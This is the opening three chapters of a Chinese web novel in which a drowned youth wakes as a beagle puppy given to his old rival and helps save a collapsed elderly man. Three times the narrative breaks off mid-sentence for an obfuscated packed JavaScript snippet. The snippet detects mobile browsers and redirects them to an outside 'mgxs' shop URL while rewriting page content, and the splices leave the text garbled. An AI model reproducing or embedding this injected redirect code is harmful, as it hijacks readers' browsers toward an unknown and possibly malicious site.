《比格犬受益者联盟》 1. 001 1 自从爸妈去世,一直有个疑问萦绕在顾昀格脑海中: 人在最后时刻会想些什么? 十八岁那年的夏天,他终于得到了答案。 他不断地下坠,只能无望地看着离他越来越远的海面,声音和色彩逐渐破碎消弭,世界最终被稀释成一片死寂的深蓝。 极致缺氧下,身体像是气球即将爆炸,但在沉重水压的挤压下,竟在某一刻达成奇妙的平衡,他又重新得到片刻安宁。 在意识消散前,大脑艰难地凝聚出了最后一个想法: 好——亮——啊! 深海吞噬了所有光线,他也在缺氧下失明,为什么还这么亮? 他情不自禁地睁大双眼,用尽全部力气,身体追随着光点,艰难地动了一下。 …… 缺氧的后遗症还没消失,顾昀格头晕到感觉整个世界天旋地转,视线也跟着来回飘荡,尝试了几个来回,终于落到了一处实点。 他不是已经坠海身亡了吗,为什么眼前还会出现木地板。 顾昀格骇然起身,四肢生疏得像是还没驯化好,踉跄了几下才稳住平衡,只是依旧没和木地板拉开距离。 ???我那傲人的一米八身高呢? 顾昀格觉得奇怪,视野范围内又出现了一只毛茸茸的爪子,毛发雪白柔软,油光水滑。 他想抬手摸一摸,那只爪子也跟着抬了起来,做了一个蜷缩的动作。 “……” 顾昀格不信邪地尝试了几次,发现他真的能控制这只爪子,仿佛这就是他身体的一部分。 随着活动,身体的其他关节也变得灵巧,就算不用照镜子,种种异样也清楚地告诉他——他变成了一只四脚着地的动物,大概率是只狗。 命运给他开了一个天大的玩笑,顾昀格整个人,不,整只狗都呆愣住了,忘记了眨眼和呼吸,感觉有什么东西在身体里翻腾,紧紧堵住喉咙。 他还没从极度混乱和震惊中缓过来,接受自己变成一只狗的现实,就听到有人在唤他。 “小狗狗过来,这是你的新主人。”一道男声,嗓子夹得都快冒烟了。 顾昀格下意识抬起头,看到了一张意想不到的脸。 谢昭衡,他们针锋相对了整整高中三年,是刻在他记忆最深处的死对头。 看到这张欠揍的脸,顾昀格本能地肌肉紧绷,牙尖发痒,恨不得冲上去咬他一口。 谢昭衡的视线也落在他身上,居高临下,一副主人派头。 顾昀格从见到死对头的嫌恶感中挣脱出来,回忆起了刚才那句话。 小狗狗…… 这是你的新主人…… ???! 天杀的谢昭衡,你竟然让我给你当狗?! 士可杀不可辱,顾昀格咬牙切齿,恨不得冲过去跟谢昭衡同归于尽。 但现场有人比他还崩溃,抢先一步发出了尖锐的爆鸣声:“太缺德了,怎么让比格当抚慰犬呀!” 顾昀格:“……” 顾昀格:“……” 顾昀格:“……” 我,比格,抚慰犬? 他不仅在网上听过比格大王的威名,现实中也见识过,那可谓是作天作地天昏地暗地崩山裂,总之两个字:折磨。 他立刻就不伤心崩溃了,眼底只有折磨死对头的兴奋。 反正他已经死过一次了,不管再经历什么都是赚到,他绝不会放过这么好的机会。 小比身后的尾巴高高地竖起,愉悦地摆了两下,朝谢昭衡邪魅地勾了下嘴角,充满了挑衅的意味。 哼哼,让你见识下全包眼线比格大王的厉害! 但他丝毫没有吓到人,那道夹着嗓子的男声又出现了,“好可爱哦,他还会微笑。” “……”顾昀格视线上,看到了在场的另外两人。 一个眼神透着清澈的愚蠢,是嗓子夹冒烟的那位,另外一个戴着厚重的眼镜,像是家里沉稳又苦命的二哥,因为太过震惊才发出了爆鸣声。 “二哥”讪讪地笑了一声,急匆匆地把“小弟”拉到另外一个房间,小比仗着自己不起眼,偷偷跟了过去。 “二哥”付谊时一下一下戳着姜宇的狗头,咬牙切齿道:“你是不是傻,怎么带了只比格来!” 姜宇一脸无辜,“比格不行吗,多可爱的小狗狗呀。” “比格哪能……算了,告诉我过程。” “我在网上刷到这只小狗的视频,萌得我都快下奶了,就随手发了句评论,没想到发视频的人直接私信我。” “他好奇怪哦,就发了两个字:开门!” “开什么门?他怎么知道我家在哪,是不锈钢的门还是木门?” 付谊时打断他散发的思路,从牙缝里挤出几个字:“说!重!点!!” “狗主人非常热情,知道我想养狗,高速开了八个小时,直接出现了我家门口。” 姜宇想到了当时的场面,感慨道,“狗主人又开心又难过,一会儿哭一会笑,临走前跟我说要去荒山旅游,电话没有信号,让我最近不要联系他。” 付谊时:“……” 笑是因为终于把拆家魔丸送走了,哭是因为舍不得。 他继续猛戳姜宇的狗头,“你天天网瘾那么重,到底在刷什么,怎么就没听说过比格大王的威名。” “比格大王?”姜宇天真的歪了歪头,“这不挺可爱的吗。” 付谊时无语凝噎。 他好不容易才找回语言功能,看了眼外面,压低声音,“我让你找只抚慰犬,你不查资料也不去专门的机构,就随便抱回来一只?!” 姜宇快速地眨眼,像是第一次听说,“你只说找一只狗啊,没说是抚慰犬,抚慰什么?” 姜宇没控制住音量,付谊时吓得去捂他的嘴。 大学四年同窗,他知道谢昭衡经常吃药,但不清楚具体是什么,直到前段时间看到药瓶。 谢昭衡的表现不像有心理疾病,又刻意回避着他们,付谊时十分关心好友,但又担心贸然戳穿会起到反效果,思来想去,才打算送一只抚慰犬,希望对谢昭衡的病情有所帮助。 但让比格大王当抚慰犬,对仇人都不这么残忍。 “你联系比格的原主人,赶紧送回去。”付谊时十分心累,试图解决问题。 姜宇人都是懵的,但乖乖听话,打过去却发现无法接通:“狗主人说过他要去荒山探险,没有信号。” 付谊时只想冷笑,比格主人真是什么招都用得出。 姜宇还在追问,“你跟我说清楚,什么是抚慰犬,为什么要送抚慰犬?” “闭嘴吧,等回去我再给你说。”付谊时怕时间太长会引起怀疑,连忙拉着人走了出来。 他们刚推开门,就看到了蹲在面前的小比。 四只爪爪白如雪,大大的耳朵十分轻盈,周遭的毛发是奶棕色的,背上有一块巴掌大的黑斑,蹲在地上小小一只。 付谊时被这一点也不邪恶的模样蛊惑到,蹲下身跟小比四目相对。 圆圆的眼睛清澈湿润,眼睛四周隐隐有一圈眼线,但肉眼几乎分辨不出来,三角鼻头轮廓圆润,连嘴筒子都短短的,纯良无辜得像小天使。 “叫一声。”付谊时下达指令。 小比不想搭理这种无理的要求,但为了达成最终目的,还是配合了:“汪。” “不是这种,是扯着嗓子仰天吆喝。” 啧,要求还挺多。 “汪呜。” 付谊时听到这声音,眼神都亮了。 太好了,是“汪呜”,不是“wer”! 比格主人还挺有良心的,把赏味期的奶比送了过来。 但看这身量,过不了多久就长成魔丸了。 在他思考时,谢昭衡走过来问道:“你们在这做什么?” 付谊时怕他看出端倪,强撑出笑容,“那个,这只狗……” 谢昭衡帮他补全了,“是送给我的吗。” “是,但可能不太适合,我想再送回给原主人。” 一直没搞清楚状况的姜宇又说大实话:“不行吧,原主人没联系上。” 付谊时重重地闭了下眼,勉强收住怒气,“那我们就先养着。” “宿舍能养吗?” “不能……” 谢昭衡贴心地为他们着想,“那就先放在我这吧,等你们联系上了原主人再接走。” 这确实是最好的办法,怕暴露真实目的,他也不能强势拒绝,再加上…… 付谊时看了眼蹲在脚边的可爱小狗,心存侥幸。 还是只赏味期的奶比,还挺安静的,应该没什么问题吧。 奶比不语,奶比只是一味震惊。 他竟然看到谢昭衡笑了! 这玩意儿还会笑,他的面部神经又活了,嘴角终于意识到还有弯起这个选项了?! 错觉,绝对是错觉。 奶比的可爱值太高,就算他呆愣不动,人类也觉得他萌得不行。 姜宇觉得他是饿得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17457042|201241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没电宕机了,屁颠屁颠地准备了狗粮,喂到奶比嘴边:“吃吧吃吧,多吃点。” 顾昀格被食物的香气拉回思绪,低头看着盘子里的狗粮,心情复杂。 他心理上还是个人类,没办法接受自己吃狗粮。 但他又饿得心慌,仿佛胃里有个无底洞,必须用食物填平。 就在理智和食欲拉扯时,余光瞥见了付谊时手中的馒头,他立刻冲了过去。 “汪汪汪汪。”我要这个。 谢昭衡去做午饭了,付谊时帮忙收拾冰箱,想把这个放了多天的馒头扔掉,没想到被小比半路拦住了。 “宝想吃?”他迟疑地放下馒头。 食欲占领了高地,顾昀格立刻把头埋进袋子里,一口气儿干掉了大半个馒头,理智这才重新上线。 好干好噎好没味。 他怎么这么惨啊,以后都要过这种日子吗。 思绪之前被折磨死对头的兴奋拉走了大半,现在才重获清醒,思考现实。 就算他再乐观开朗,适应力强,也没办法坦然接受自己从人变成了狗。 各种负面情绪交织在一起,顾昀格只想静静,但眼前没有这个条件,他只能掩耳盗铃似的把头埋在了前爪里,两个大大的耳朵遮住脸。 小比心酸(好饿)小比自闭(好饿)小比难过好饿好饿好饿好饿…… 顾昀格一边自闭,一边饿得把“好饿”当逗号用,忍不住抬头看了两眼馒头,确定没有丢,这才又把头埋下去,继续自闭。 付谊时:“……” 姜宇:“……” 两个没养过狗的新手完全傻掉了,面面相觑。 “这是在干什么?” “可能是某种仪式吧,电视剧里都是这么演的,吃饭之前都要感谢上帝赐予的食物,进行祈祷。” “狗还会祈祷,还会感谢上帝?” “外国狗不信仰上帝信仰谁。” 顾昀格:“……” 哪来的两个活宝。 他被打乱了思绪,彻底自闭不下去了,抬头面对现实。 他还是想吃东西,但又觉得啃大白馒头太过心酸,两方拉扯之下,他竟饿出了幻觉,在大白馒头上闻到了肉味。 下一秒幻觉成真,眼前出现了一盘儿牛肉。 “不吃狗粮也不喜欢馒头,那牛肉吃不吃?” 声线温润清朗,顾昀格第一次觉得死对头的声音宛如天籁。 吃! 顾昀格立刻欢快地把头埋了进去。 这盘煎好的牛排没放任何调料,是专门给狗吃的,付谊时疑惑地问道:“那你吃什么?” “我过会儿再煎一块。”谢昭衡答道。 付谊时信了,没再多问。 顾昀格炫完了半盘牛排终于饱了,从内到外地熨帖,身体无比轻盈又暖洋洋的。 之后他巡视了一圈领地,找了一个最舒服的位置,强占为狗窝。 在此期间,付谊时一直在观察小比,发现他没有乱叫更没有拆家,这才放心了一些。 “时间不早了,我们要回去写论文了。” 姜宇跟着站起身,语气羡慕:“昭衡你肯定不用为论文发愁,对了,你想读研还是回去继承家业……” 读研? 顾昀格捕捉到关键词,诧异地看着谢昭衡。 他跟谢昭衡同岁,生命停止在十八岁的夏天,而现在的谢昭衡考虑的却是读研。 难道时间已经过去了将近四年? 他这才注意到之前忽略的一些细节。 跟他记忆中的模样相比,谢昭衡的脸部轮廓更加立体凌厉,眉眼深邃,眸色深沉。 身材挺拔,肩背宽阔,褪去了年少青涩,更接近男人的成熟,穿衣风格随意中透着讲究。 呵,骚包。 高中时就能跟他竞争校草的头衔,现在帅得更像是开挂。 但帅又怎么样,性格差得离谱。 冷漠毒舌嚣张倨傲自私小心眼人机反应慢不通人情…… 顾昀格刚要一项一项地数落谢昭衡的罪名,就见谢昭衡一边闲聊一边将两位好友送到门口,脸上始终挂着和煦的微笑,态度温柔体贴,一举一动完美到挑不出一点问题。 ???! 原来不是错觉,谢昭衡会笑还很爱笑。 顾昀格整只狗如遭雷劈,震惊得身体后仰,眼睛一眨不眨地瞪着,像是在看某个妖怪。 短短四年,他冷漠毒舌的死对头怎么变成了一个阳光开朗大男孩?! 2. 002 2 . 两人离开后,房间内一片寂静。 顾昀格看着眼前的死对头,神情绷紧。 他虽然跟谢昭衡相看两厌,针锋相对了整整三年,但他朋友一向多,形影不离,跟谢昭衡单独相处的机会屈指可数。 每一次都让他记忆深刻,以及过后那种有火难发咬牙切齿的感觉 现在他穿成了谢昭衡的狗,战火再次升级,预兆着“第一次人比大战”即将爆发。 顾昀格做好了准备,可谢昭衡却始终没有动静。 他又等了一会儿,最后耐不住性子往前凑了凑,不明白死对头为何在此罚站。 小比努力仰起狗头,终于看到了谢昭衡的脸。 阴影之中,五官的轮廓更加立体,一双眸子漆黑深沉。 看着那对黑眼珠,顾昀格愣了一瞬,莫名想起高中时上课无聊,他拿着墨水快要用完的笔在草稿纸上涂鸦画圈,线条干涩,等到涂成浓郁的黑色,墨水已经全部用完,纸张也磨烂了。 鼻尖不受控制地抽动了两下,他闻到了淡淡的苦味,不知从哪散发出的。 他刚要寻找来源,谢昭衡终于动了,沉默不语地走回卧室。 顾昀格什么都顾不上了,连忙跟在后面。 ? 你干甚去啊?! 牛排给我吃了,你还没吃饭呢……回应他的是紧紧关上的房门。 顾昀格:“……” 他回过神后,忍不住哼哼了两声。 苦味不知何时散去了,他没再寻找来源,跳上了沙发。 吃饱就睡是小比的优良美德,短短几秒,顾昀格便晕碳到眼都睁不开了,随意一倒,四脚朝天地睡着了。 *** 不知过了多久,他被憋醒了。 顾昀格眼睛都没睁开,循着本能走到卫生间,等看到比他还高的马桶,才骤然清醒。 狗蹲马桶……确实是个世界难题。 顾昀格努力压抑住肚肠中的翻滚,压着眉头,小狗脸都变得皱巴巴的。 虽是生平第一次做狗,但他没少见过狗狗大号,比较轻松地想出了解决办法——跳上马桶,用四只爪子紧紧抓着边缘,稳住身形,之后交给本能。 这说来简单,实践时却困难重重。 小比前爪扒着马桶,身体直立,后腿肌肉紧绷,用力一蹬。 身体行动比思考还快,轻盈的大耳朵飞了起来,顾昀格看清眼前的景象后,狗眼圆瞪,用全身的力气往后坠,这才制止住了跳起的动作。 他的四肢还没驯化好,如果用力过猛,不小心就会一头扎进马桶,嘴桶子在水里咕噜咕噜。 “……”那画面太美,他不敢想。 顾昀格宁愿憋死,也不想做第一只在马桶中淹死的狗,只能另寻他法。 从下往上跳,容易止不住惯性,从上一步步向下挪,更加稳妥。 洗漱台离马桶不远不近,如果他从洗漱台的边缘跳到冲水箱,再找好角度,应该就能稳当地站在马桶上。 身体发出的信号督促他赶快采取行动,小比一身使不完的牛劲,身体直立,跳起来后张嘴咬住挂在旁边的毛巾,以此为支点,再次发力,终于跳上洗手台。 大幅度的动作加剧了肠道的蠕动,顾昀格倒吸了一口冷气,奶棕色的狗毛都快憋青了,连忙向前爬,前脚踩住饮水箱的边缘,后腿维持着诡异的角度,死死绷直,蹬着洗漱台的边缘。 他刚要继续发力,就在这时,卫生间的门被推开了。 谢昭衡站在门口,视线落在小比身上。 他还是第一次见狗耍杂技。 过了几秒,他才从这种震撼中回过神来,注意到更多的细节。 他从没有表情的狗脸上捕捉到了“夹不住”的绝望,不断绷紧蠕动的后臀肌肉,也让他清晰地预感到了即将发生的事情: 落、坨、翔、子。 他没办法接受狗爬这么高上厕所,让一坨马赛克自由落体,立刻走了过去,把小比抱到地上,又铺好了一张尿垫。 夹不住的小比没有立刻去释放,而是仰头看着谢昭衡,眼睛里透着某种恳求。 谢昭衡莫名读懂了其中的意思,未加思考,直接退出卫生间并体贴地关上了门。 他在门口站了一会儿,脸上露出费解的神情。 狗也讲隐私,上厕所时不能有旁人站在旁边吗。 又过了一分钟,他听到了狗叫。 谢昭衡重新打开卫生间的门,小比从门缝悄无声息地溜了出来,大大的耳朵遮住视线,连头都不敢抬,一头扎进窗边的懒人沙发里。 顾昀格整只狗都快要烧着了。 他刚刚努力尝试过了,没有双手的帮助,他没办法用四只爪子将尿垫扔进垃圾桶,无奈之下,只能交给谢昭衡帮忙处理。 啊啊啊啊啊太社死了!! 顾昀格不敢想那画面,又把狗头往里怼了怼,试图把自己憋死。 空气越发稀薄,他因为缺氧而头脑发晕时,轻飘飘的一句话立刻把他炸清醒了。 “吃太多了吗,肚子快垂到地上了。” 顾昀格:“……” 他把头扎进了懒人沙发里,不用见人,但顾头不顾腚,身体还清楚地显露在谢昭衡视线下,包括他“duangduang”的小肚子。 顾昀格艰难地抬起头,意味深长地看着谢昭衡。 熟悉的死对头又回来了。 还是实话中透着狠辣的毒舌味。 想到谢昭衡帮他做了什么,顾昀格头一次吃瘪,眼神闪烁,不敢跟他对视,扭扭捏捏地蹭了过去,对他提供的帮助表示感谢。 但落在谢昭衡眼中却是小比急躁的左顾右盼,像是在寻找上厕所的绝佳地点,而扭扭捏捏的举动更是“夹不住”最强有力的证明。 他没有半分犹豫,直接带小比出门。 顾昀格站在电梯门口时依旧很恍惚,没想到谢昭衡会这么好心带他出来玩。 玩耍是小狗的天性,身体不受控制地变热,四肢肌肉绷紧,涌动着力量,小比眼神都亮了,受到了刻在基因里的感召。 他此生从未想过自己会冲进电梯,因为速度太快没刹住车,一头撞到了电梯壁上,摔了个四脚朝天。 进化已经为狗命的延续想好了对策,狗头坚硬,丝毫没受影响,爬起来后小比急促地喘着气,上蹿下跳,围着谢昭衡的腿转圈,又忍不住想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17457043|201241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踢电梯门,但被谢昭衡拉住了。 这是宠物友好型小区,有专门的宠物活动场地,到了小广场后,小比眼神发亮地冲了出去,风扬起了两只大大的耳朵,向上翻折,灵活摆动,油光水滑的短毛也随着流畅的身体线条,海浪般起伏。 他从未对奔跑产生如此浓厚的兴趣,像是要把身体里的力气全部用光。 快活! 激动! 自由! 呜呼,起飞! 在奔跑的过程中,他又产生了一种原始的冲动。 这棵树可真细呀,它一定很想被浇灌。 这灌木可真大呀,它一定想要被浇灌。 这……管他呢,它一定想要被浇灌吧。 小比摇摆着尾巴,颠巴颠巴地跑了过去,刚要抬起后腿,突然瞥见站在旁边人模狗样帅气十足的死对头。 “……” 理智瞬间回笼,小比死死夹住了后腿,抑制着本能,一头钻进了灌木丛。 他挑了个没人会来的角落,释放自我,耳边不断响起熟悉的提示音:“你标记了一处地点。” 一处接一处的标记,相信过不了多久,整个小区都会染上他的气味,成为他的领地,顾昀格陶醉地眯起眼,刚要脑补自己的宏图伟业,余光中突然挤过毛茸茸的一团,差点把他吓出狗叫。 人生就是有这么多观众,这只狗完整旁观了他的标记事业。 顾昀格喘了两口气,忍不住夹紧了后腿。 这是他做狗以来第一次看到同类,还是只可爱的雪纳瑞,他顿了顿,主动打招呼,“你好呀。” 雪纳瑞瞅了他两眼,“汪汪汪汪唔?” 顾昀格:“……” 顾昀格:“……” 顾昀格:“……” 完蛋,狗界教育没普及,这比格是只文盲。 他听不懂狗叫,只能努力释放友善的气息,以此建立感情。 雪纳瑞又汪了几声,依旧没得到答案,圆圆的狗眼里透着深深的怀疑,过了会儿才意识到眼前这只比格是智障的事实。 狗狗都很有义气,他决定主动接纳对方,先去打招呼。 顾昀格看到雪纳瑞靠近,微微仰起头。 他这人最擅长交朋友,人见人爱,当狗自然也是狗见狗爱。 雪纳瑞碰了碰他的肩膀,顾昀格自觉把这理解成好兄弟间的搭肩,刚要碰回去,雪纳瑞就哧溜一下钻到了他后方。 他第一次做狗,没意识到问题的严重性,懵懵地站在原地,直到高高翘起的尾巴根感觉到了一股股热流。 雪纳瑞深嗅了一口,“哥们,你吃得挺好啊,上顿是牛肉吧。” 顾昀格:…… 顾昀格:??? 他、竟、然听懂了! 原来小比不是文盲,只是语音包还没加载出来……这还不如没听懂呢!! 顾昀格头皮都要炸了,本能夹紧屁|股,尾巴耷拉下来挡住关键部位,慌不择路地往外逃。 “wer!wer!” 正在找狗的谢昭衡脚步一顿,看向声音传来的方向。 他好像。 听到了。 狗的……尖叫? 3. 003 3 . 人在崩溃慌乱时会下意识向熟悉的人求助,哪怕对方是他的死对头。 顾昀格跑出灌木丛,像是见到了亲人,眼含热泪地朝谢昭衡奔来。 谢昭衡看着暴冲的小比,通过方向和距离推测出目标是他的左腿,在小比靠近的前三秒,仗着自己腿长,轻松一迈步,完成了一次完美闪躲。 小比从中间的空隙窜了出去,扑到了一股空气。 顾昀格:“…………” 咱俩到底谁是狗。 他肌肉紧绷,使出全身的力气向后使劲,狗爪紧紧抓地,才勉强刹住车,避免了嘴筒子撞到墙上的悲剧。 缓过来后他忍无可忍地转过头,发现谢昭衡仍然维持着刚才的姿势,因为身材比例太过优越,一点也不突兀,反而像是特意凹的造型,以展示修长的腿部线条。 真是人比狗,气死狗。 顾昀格刚才只是寻求帮助,这下真咬牙切齿,瞄准了谢昭衡的左腿,撞了过去。 谢昭衡预判了他的预判,再次轻松躲过。 顾昀格气得奶棕色的毛都变成赤红色了,刚要再次发起进攻,先听到了笑声。 雪纳瑞主人站在一旁,笑着搭话,“你家狗狗真可爱,喜欢跟你玩呢。“ 她还是第一次见比格大王,稀罕得不行,细细端详了半天,眼睛里都快冒出爱心了。 这狗可真狗啊。 比格满足她对狗的一切幻想,离这么远,仿佛就能闻到热乎乎的小狗味。 她强忍住猛撸陌生狗的冲动,看向小比的主人。 遛狗人的关系哪怕再生疏,围绕小狗也能有一搭没一搭的闲聊。 “我经常遛狗,之前怎么没见过你?” “刚接狗回来,这是第一次出门。” “是你自己选的嘛,真可爱。” “朋友送的。” 顾昀格乖巧地蹲在一旁,听他们说话,感知危险的雷达突然动了。 他夹着尾巴猛然转过身,看到一双圆溜溜的眼睛。 “兄弟,你为什么不理我啊?”雪纳瑞疑惑地歪了歪头。 顾昀格的尾巴越夹越紧,屁|股紧紧对着后边的墙壁,生怕再被耍流氓,“那什么,我……” 闻气味是狗界了解彼此打招呼的方式,而他现在已经是小狗了,必须入乡随俗。 他舔了舔干涩的嘴唇,试图转移话题,“我这个人,不我这只狗特别喜欢……跑步,所以我刚刚是在跑步,对跑步。” 雪纳瑞很好糊弄,歪了歪头,“跑步是什么?” 顾昀格一下子卡了壳,该怎么解释跑步这个词呢,跑步就是……他做了一个奔跑的动作。 雪纳瑞恍然大悟,“那我也特别喜欢跑步。” “那我们一起吧。” “好啊。” 顾昀格最初只是为了转移注意力,防止被耍流氓,但两狗跑了几圈后,他忍不住沉浸进去,身体里涌动着力量,化身成棕黄色的闪电,带着雪纳瑞一起在草坪上自由撒花,互相追逐玩闹,两个人类站在一旁,安静地看着这一幕。 雪纳瑞主人面带姨母笑:“比格就是精力充沛,不像我家笑笑,已经跑不动了。” 谢昭衡顿了顿,这才点头应了一声 雪纳瑞从他茫然生疏的态度察觉到了问题,“你是第一次养狗吗,之前没听说比格犬?” “没有,有什么需要特别注意的吗?” 雪纳瑞主人意识到问题的严重性,欲言又止。 对于一无所知的养狗新手,比格是难度系数过高的品种,如果没做好准备,建立正确的心理预期,人容易崩溃,对狗也不好。 雪纳瑞主人思考了几秒,给他打预防针,“比格精力充沛,你要有足够多的空闲时间,陪他玩耍;食欲旺盛,基本没有饱腹感,要记得食量和体重管理,还有叫声也特别大,有个大耳朵怪叫驴的称号,但是……” 旁边突然传来一道声音,打断她的话,“这品种也太糟糕了,还是别养了。” 雪纳瑞主人:“……” 我这是欲扬先抑,但是后面才是重点! 她转过头看着突然冒出来的大姨,笑容差点挂不住。 这是住在她隔壁的邻居,是个热心肠,人很好没什么恶意,但有些自以为是,容易好心做坏事。 大姨自顾自地说道,“小伙子你看上去很年轻,工作了吗?” 谢昭衡简短地答道:“大四,还没毕业。” “那你接下来一段时间挺忙的,听大姨句劝,你未来很长,养狗就是玩物丧志,还选了个闹腾能叫的,赶紧送走吧,实在不行就换个懂事听话的。” 雪纳瑞的主人嘴角抽搐了两下,两代人观念不同,她根本没办法说服大姨,只能朝谢昭衡投去抱歉的目光,又挡在两只小狗面前,让他们到灌木丛里玩。 小比别听,是恶评! 大姨继续劝谢昭衡,一副为他着想的样子,直接列出了小比的十宗罪,什么罪名都往他身上按。 “狗很脏,身上有跳蚤,说不定还有什么特殊的病菌,万一被传染就麻烦了。” “这狗耳朵怎么这么大,面相很不好,说不定还会咬人。” “……” 顾昀格摇着尾巴钻进灌木丛里,心情丝毫不受影响。 雪纳瑞凑过来,摇尾巴的频率跟他们一模一样,“我好喜欢人哦,每次看到他们听他们说话,我都好开心,只是我听不懂。” “听不懂就对了。”狗的小心脏很脆弱,还好他本质上是个人类,这点话才伤不到他。 雪纳瑞眨巴了下大眼睛,不解地问道,“你为什么这样说呀。” 小比转移话题,“别管了,我们继续玩。” 两只小狗选择了截然不同的两种方向,小比爱疯爱自由,快速地跑了两圈,热腾的身体逐渐冷静下来,这才注意到雪纳瑞不知为何一直蹲在墙边。 察觉到身后的动静,雪纳瑞转过头,眼神清澈,“人为什么一直躺在这里不动呀,是睡着了吗?” 顾昀格定睛看去,在茂盛的草丛中看了几缕白发,瞳孔猛然紧缩。 “wer!”救命! “wer!”有人晕倒了! “wer!”快来人啊! 在小广场聊天的人都听到了叫声,大姨一脸嫌弃,“这狗果然会乱叫,太吵太难听了,赶紧送走,要我说这个品种就应该淘汰掉。” 谢昭衡还没来得及接话,就见小比从灌木丛中钻出头来,又焦急地冲他们叫了两声。 比格属于猎犬,体能充沛,以他奔跑的速度才能这么快赶过来。 大姨听得眉头紧皱,高高举起手,佯装出拍打的动作,想把小比吓走,谢昭衡的神情却变得认真,抢先往前走了一步,“好像发生什么事情了,我们过去看看。” 谢昭衡头也不回地往前走,雪纳瑞主人才得空扯了扯大姨的袖子,拼命用眼神暗示她少说点。 大姨还是一副为他们着想的样子,并不觉得自己说错了。 她们也跟着过去,绕过灌木丛走了一段路,远远看到有人躺在地上,眼睛紧闭,没有半点声响。 雪纳瑞主人眼神好,急得去叫身边的大姨,“这这这这不是您家老爷子吗,他怎么在这儿啊。” 大姨老眼昏花,还在猜测晕倒的人是谁,没想到火就直接烧到了她头上,“什么?爸!爸!你还好吗,爸你可别吓我啊!!” 雪纳瑞主人赶紧去叫其他人,小区居民里有医生,立刻采取急救措施。 大姨吓得快喘不过气了,跌坐在旁边,雪纳瑞主人担心她年纪大了,吓出个好歹来,连忙安抚劝慰。 居民们各自出力,急得团团转,顾昀格蹲在一旁,帮不上忙,只能跟着心慌。 狗听觉敏锐,耳朵捕捉到了嗡嗡声,他朝着声音的方向看过去,察觉到墙边不知为何有很多蜜蜂。 他怕有人被蜇到,出声提醒,却发现大家的注意力都在病人身上,不约而同忽略了他的存在。 顾昀格沉默几秒,眼神变得越发坚定。 勇敢小比,独战蜜蜂! 他转过身,全身的肌肉紧绷,按照本能做出了扑咬的姿势,试图把不断靠近的蜜蜂吓跑。 蜜蜂嗡嗡叫着,七|八只绕成一团,在空中结成队形,凶猛地朝小比扑来。 小比下意识用手去扑,却意识到它只有两只无力的狗爪,没有半点抵抗的能力,只能无力地闭上眼睛,接受了自己即将要被遮肿的命运。 几秒钟变得极其漫长,他努力咬牙忍耐,但预想中的疼痛并没有出现,嗡嗡声也散去了,他愣了愣,试探地睁开眼,看到光影错落地堆叠在他面前。 顾昀格隐隐察觉到了什么,视线从下而上,掠过过于修长的腿部线条,最后落在了比他想象中更加宽阔可靠的肩膀上。 谢昭衡脱下外套,放低重心,单膝着地,用身体挡在小比面前,手臂结实的肌肉线条透着让狗心安的力量,不断挥舞着手中的外套,划破空气,发出猎猎的声响,赶走了不断靠近的蜜蜂。 谢昭衡转过头,阴影中眸色更加深沉,眼底没有情绪起伏,显得冷冰冰的,视线却细致在小比身上环视了一圈,确定平安无事后,他又往后退了几步,把两只狗都挡在身后,转头叮嘱其他人,“这里有很多蜜蜂,大家小心一点。” 众人这才注意到了周边的环境,几个年轻人站在不同的方向,驱赶蜜蜂,守护着中间的人。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17457044|201241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 救护车很快到了,医生井然有序地抬走了病人,大姨急得想追过去,却腿软得使不上力气,被人搀扶着才勉强站稳。 大姨的女儿刚好下班回来,跟着医生坐进救护车,“妈,我先陪外公去医院,你跟爸别着急,待会打车过来。” 大姨的目光紧紧追随着,过了一会儿才点了点头。 救护车空间有限,跟随的人不能太多,相比于年轻人,她的心态和身体都在拖后腿,说不定还会添麻烦。 她失魂落魄地坐在了木椅上,心中的焦虑和担忧到了顶峰,忍不住小声哭泣起来。 远亲不如近邻,小区里的其他住户没有散开,而是围在大姨身边,关心照顾她,劝她不要太着急。 大姨的情绪这才逐渐平稳下来,哆嗦着跟大家道谢,突然想起了什么,四处张望,像是急着找人。 她被人搀扶着,踉踉跄跄地走过来,眼含泪光地看着谢昭衡,握住他的手。 “谢谢,谢谢你,如果没有你,如果没有你家的狗,真不知道我爸爸还能不能在……”大姨的视线落在小比身上,感动又悔恨,“对不起,是我说错了,你的狗特别好,特别通人性……” 大姨语无伦次,不断地重复“谢谢”和“对不起”,把他们的帮助深深地记在心上。 小区居民听说事情的来龙去脉后也十分惊奇,狗这么小没经过专门的训练,就如此通人性,既会救人又会主动寻求帮助,对此赞叹不已,谢昭衡也因此成了小区里的名人。 谢昭衡跟特意过来打招呼的居民寒暄完后,这才垂下目光,注意到小比此刻的样子。 